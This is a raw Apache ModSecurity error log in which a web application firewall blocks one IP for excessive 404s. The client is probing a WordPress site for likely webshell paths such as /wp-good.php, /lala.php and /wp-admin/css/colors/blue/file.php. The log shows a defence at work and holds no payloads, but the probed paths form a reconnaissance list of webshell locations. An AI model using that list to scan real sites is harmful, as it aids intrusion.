[Thu May 07 08:46:10.148303 2026] [:error] [pid 56066:tid 56132] [client 20.9.85.117:55539] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-kd4xalrg7m.php"] [unique_id "afvg0kYS8DGwDvklLv525QAAAMk"]
[Thu May 07 08:46:10.525151 2026] [:error] [pid 56150:tid 56160] [client 20.9.85.117:55282] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-kd4xalrg7m.php"] [unique_id "afvg0tu4duXJJeTigXTitwAAAEg"]
[Thu May 07 08:46:10.903224 2026] [:error] [pid 56150:tid 56157] [client 20.9.85.117:55270] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-kd4xalrg7m.php"] [unique_id "afvg0tu4duXJJeTigXTiuwAAAEU"]
[Thu May 07 08:46:11.280132 2026] [:error] [pid 56150:tid 56153] [client 20.9.85.117:55426] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/explorer/index_.php"] [unique_id "afvg09u4duXJJeTigXTiwgAAAEE"]
[Thu May 07 08:46:11.651990 2026] [:error] [pid 56066:tid 56123] [client 20.9.85.117:55509] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/explorer/index_.php"] [unique_id "afvg00YS8DGwDvklLv527AAAAMA"]
[Thu May 07 08:46:12.030562 2026] [:error] [pid 56066:tid 56125] [client 20.9.85.117:55449] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/explorer/index_.php"] [unique_id "afvg1EYS8DGwDvklLv527gAAAMI"]
[Thu May 07 08:46:12.424533 2026] [:error] [pid 56150:tid 56166] [client 20.9.85.117:55472] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/explorer/index_.php"] [unique_id "afvg1Nu4duXJJeTigXTixQAAAE4"]
[Thu May 07 08:46:12.802159 2026] [:error] [pid 56150:tid 56157] [client 20.9.85.117:55502] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "afvg1Nu4duXJJeTigXTiyAAAAEU"]
[Thu May 07 08:46:13.178774 2026] [:error] [pid 56150:tid 56168] [client 20.9.85.117:55496] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "afvg1du4duXJJeTigXTiyQAAAFA"]
[Thu May 07 08:46:13.556493 2026] [:error] [pid 56064:tid 56090] [client 20.9.85.117:55434] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "afvg1SsGkZZUEf_7QCP_TwAAABU"]
[Thu May 07 08:46:13.936636 2026] [:error] [pid 56064:tid 56087] [client 20.9.85.117:55537] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "afvg1SsGkZZUEf_7QCP_UQAAABI"]
[Thu May 07 08:46:14.339955 2026] [:error] [pid 56064:tid 56073] [client 20.9.85.117:55507] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/file.php"] [unique_id "afvg1isGkZZUEf_7QCP_UwAAAAQ"]
[Thu May 07 08:46:14.717518 2026] [:error] [pid 56065:tid 56099] [client 20.9.85.117:55391] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/file.php"] [unique_id "afvg1ndV4hYThdnhfxCt7AAAAIM"]
[Thu May 07 08:46:15.093002 2026] [:error] [pid 56064:tid 56092] [client 20.9.85.117:55436] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/file.php"] [unique_id "afvg1ysGkZZUEf_7QCP_VQAAABc"]
[Thu May 07 08:46:15.464464 2026] [:error] [pid 56150:tid 56156] [client 20.9.85.117:55435] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/file.php"] [unique_id "afvg19u4duXJJeTigXTi1AAAAEQ"]
[Thu May 07 08:46:15.852199 2026] [:error] [pid 56065:tid 56101] [client 20.9.85.117:55546] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "afvg13dV4hYThdnhfxCt8AAAAIU"]
[Thu May 07 08:46:16.230176 2026] [:error] [pid 56150:tid 56175] [client 20.9.85.117:55276] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "afvg2Nu4duXJJeTigXTi4AAAAFc"]
[Thu May 07 08:46:16.603507 2026] [:error] [pid 56066:tid 56139] [client 20.9.85.117:55235] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "afvg2EYS8DGwDvklLv528wAAANA"]
[Thu May 07 08:46:16.978460 2026] [:error] [pid 56066:tid 56145] [client 20.9.85.117:55545] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "afvg2EYS8DGwDvklLv529gAAANY"]
[Thu May 07 08:46:17.355143 2026] [:error] [pid 56150:tid 56157] [client 20.9.85.117:55366] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aevly.php"] [unique_id "afvg2du4duXJJeTigXTi6QAAAEU"]
[Thu May 07 08:46:17.730820 2026] [:error] [pid 56150:tid 56165] [client 20.9.85.117:55272] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aevly.php"] [unique_id "afvg2du4duXJJeTigXTi6wAAAE0"]
[Thu May 07 08:46:18.104020 2026] [:error] [pid 56064:tid 56090] [client 20.9.85.117:55536] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aevly.php"] [unique_id "afvg2isGkZZUEf_7QCP_XAAAABU"]
[Thu May 07 08:46:18.481843 2026] [:error] [pid 56150:tid 56171] [client 20.9.85.117:55530] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aevly.php"] [unique_id "afvg2tu4duXJJeTigXTi7QAAAFM"]
[Thu May 07 08:46:18.861229 2026] [:error] [pid 56066:tid 56126] [client 20.9.85.117:55514] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app.php"] [unique_id "afvg2kYS8DGwDvklLv52-gAAAMM"]
[Thu May 07 08:46:19.238904 2026] [:error] [pid 56066:tid 56133] [client 20.9.85.117:55451] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app.php"] [unique_id "afvg20YS8DGwDvklLv52_QAAAMo"]
[Thu May 07 08:46:19.610109 2026] [:error] [pid 56150:tid 56162] [client 20.9.85.117:55521] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app.php"] [unique_id "afvg29u4duXJJeTigXTi8AAAAEo"]
[Thu May 07 08:46:19.983634 2026] [:error] [pid 56066:tid 56140] [client 20.9.85.117:55459] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app.php"] [unique_id "afvg20YS8DGwDvklLv53AAAAANE"]
[Thu May 07 08:46:20.358099 2026] [:error] [pid 56065:tid 56099] [client 20.9.85.117:55424] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/txets.php"] [unique_id "afvg3HdV4hYThdnhfxCt-QAAAIM"]
[Thu May 07 08:46:20.729161 2026] [:error] [pid 56150:tid 56160] [client 20.9.85.117:55512] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/txets.php"] [unique_id "afvg3Nu4duXJJeTigXTi9QAAAEg"]
[Thu May 07 08:46:21.106511 2026] [:error] [pid 56150:tid 56156] [client 20.9.85.117:55543] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/txets.php"] [unique_id "afvg3du4duXJJeTigXTi-QAAAEQ"]
[Thu May 07 08:46:21.481086 2026] [:error] [pid 56150:tid 56172] [client 20.9.85.117:55517] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/txets.php"] [unique_id "afvg3du4duXJJeTigXTi-gAAAFQ"]
[Thu May 07 08:46:21.856905 2026] [:error] [pid 56150:tid 56167] [client 20.9.85.117:55457] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file59.php"] [unique_id "afvg3du4duXJJeTigXTi-wAAAE8"]
[Thu May 07 08:46:22.238273 2026] [:error] [pid 56150:tid 56159] [client 20.9.85.117:55551] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file59.php"] [unique_id "afvg3tu4duXJJeTigXTi_QAAAEc"]
[Thu May 07 08:46:22.611051 2026] [:error] [pid 56066:tid 56124] [client 20.9.85.117:55429] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file59.php"] [unique_id "afvg3kYS8DGwDvklLv53AQAAAME"]
[Thu May 07 08:46:22.991516 2026] [:error] [pid 56064:tid 56089] [client 20.9.85.117:55248] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file59.php"] [unique_id "afvg3isGkZZUEf_7QCP_XwAAABQ"]
[Thu May 07 08:46:23.367690 2026] [:error] [pid 56150:tid 56161] [client 20.9.85.117:55277] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "afvg39u4duXJJeTigXTjAgAAAEk"]
[Thu May 07 08:46:23.744346 2026] [:error] [pid 56150:tid 56152] [client 20.9.85.117:55292] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "afvg39u4duXJJeTigXTjBQAAAEA"]
[Thu May 07 08:46:24.124765 2026] [:error] [pid 56064:tid 56077] [client 20.9.85.117:55533] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "afvg4CsGkZZUEf_7QCP_YAAAAAg"]
[Thu May 07 08:46:24.502192 2026] [:error] [pid 56066:tid 56129] [client 20.9.85.117:55443] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "afvg4EYS8DGwDvklLv53AgAAAMY"]
[Thu May 07 08:46:24.873551 2026] [:error] [pid 56066:tid 56141] [client 20.9.85.117:55516] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-at.php"] [unique_id "afvg4EYS8DGwDvklLv53AwAAANI"]
[Thu May 07 08:46:25.257564 2026] [:error] [pid 56150:tid 56166] [client 20.9.85.117:55442] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-at.php"] [unique_id "afvg4du4duXJJeTigXTjCQAAAE4"]
[Thu May 07 08:46:25.630307 2026] [:error] [pid 56150:tid 56156] [client 20.9.85.117:55519] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-at.php"] [unique_id "afvg4du4duXJJeTigXTjCwAAAEQ"]
[Thu May 07 08:46:26.015877 2026] [:error] [pid 56150:tid 56154] [client 20.9.85.117:55367] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-at.php"] [unique_id "afvg4tu4duXJJeTigXTjDgAAAEI"]
[Thu May 07 08:46:26.393340 2026] [:error] [pid 56065:tid 56109] [client 20.9.85.117:55481] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "afvg4ndV4hYThdnhfxCt_wAAAI0"]
[Thu May 07 08:46:26.765818 2026] [:error] [pid 56150:tid 56163] [client 20.9.85.117:55244] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "afvg4tu4duXJJeTigXTjGQAAAEs"]
[Thu May 07 08:46:27.145741 2026] [:error] [pid 56065:tid 56116] [client 20.9.85.117:55455] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "afvg43dV4hYThdnhfxCuBAAAAJQ"]
[Thu May 07 08:46:27.521243 2026] [:error] [pid 56065:tid 56097] [client 20.9.85.117:55524] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "afvg43dV4hYThdnhfxCuBgAAAIE"]
[Thu May 07 08:46:27.900667 2026] [:error] [pid 56065:tid 56105] [client 20.9.85.117:55538] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sys.php"] [unique_id "afvg43dV4hYThdnhfxCuCQAAAIk"]
[Thu May 07 08:46:28.281257 2026] [:error] [pid 56150:tid 56176] [client 20.9.85.117:55484] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sys.php"] [unique_id "afvg5Nu4duXJJeTigXTjGwAAAFg"]
[Thu May 07 08:46:28.652586 2026] [:error] [pid 56066:tid 56144] [client 20.9.85.117:55541] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sys.php"] [unique_id "afvg5EYS8DGwDvklLv53BAAAANU"]
[Thu May 07 08:46:29.036159 2026] [:error] [pid 56150:tid 56155] [client 20.9.85.117:55269] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sys.php"] [unique_id "afvg5du4duXJJeTigXTjHAAAAEM"]
[Thu May 07 08:46:29.420814 2026] [:error] [pid 56150:tid 56159] [client 20.9.85.117:55476] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "afvg5du4duXJJeTigXTjHgAAAEc"]
[Thu May 07 08:46:29.803002 2026] [:error] [pid 56065:tid 56098] [client 20.9.85.117:55400] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "afvg5XdV4hYThdnhfxCuEQAAAII"]
[Thu May 07 08:46:30.194331 2026] [:error] [pid 56150:tid 56167] [client 20.9.85.117:55365] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "afvg5tu4duXJJeTigXTjIAAAAE8"]
[Thu May 07 08:46:30.565481 2026] [:error] [pid 56150:tid 56174] [client 20.9.85.117:55486] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "afvg5tu4duXJJeTigXTjIwAAAFY"]
[Thu May 07 08:46:30.936608 2026] [:error] [pid 56150:tid 56163] [client 20.9.85.117:55363] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "afvg5tu4duXJJeTigXTjJwAAAEs"]
[Thu May 07 08:46:31.316056 2026] [:error] [pid 56150:tid 56161] [client 20.9.85.117:55425] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "afvg59u4duXJJeTigXTjKQAAAEk"]
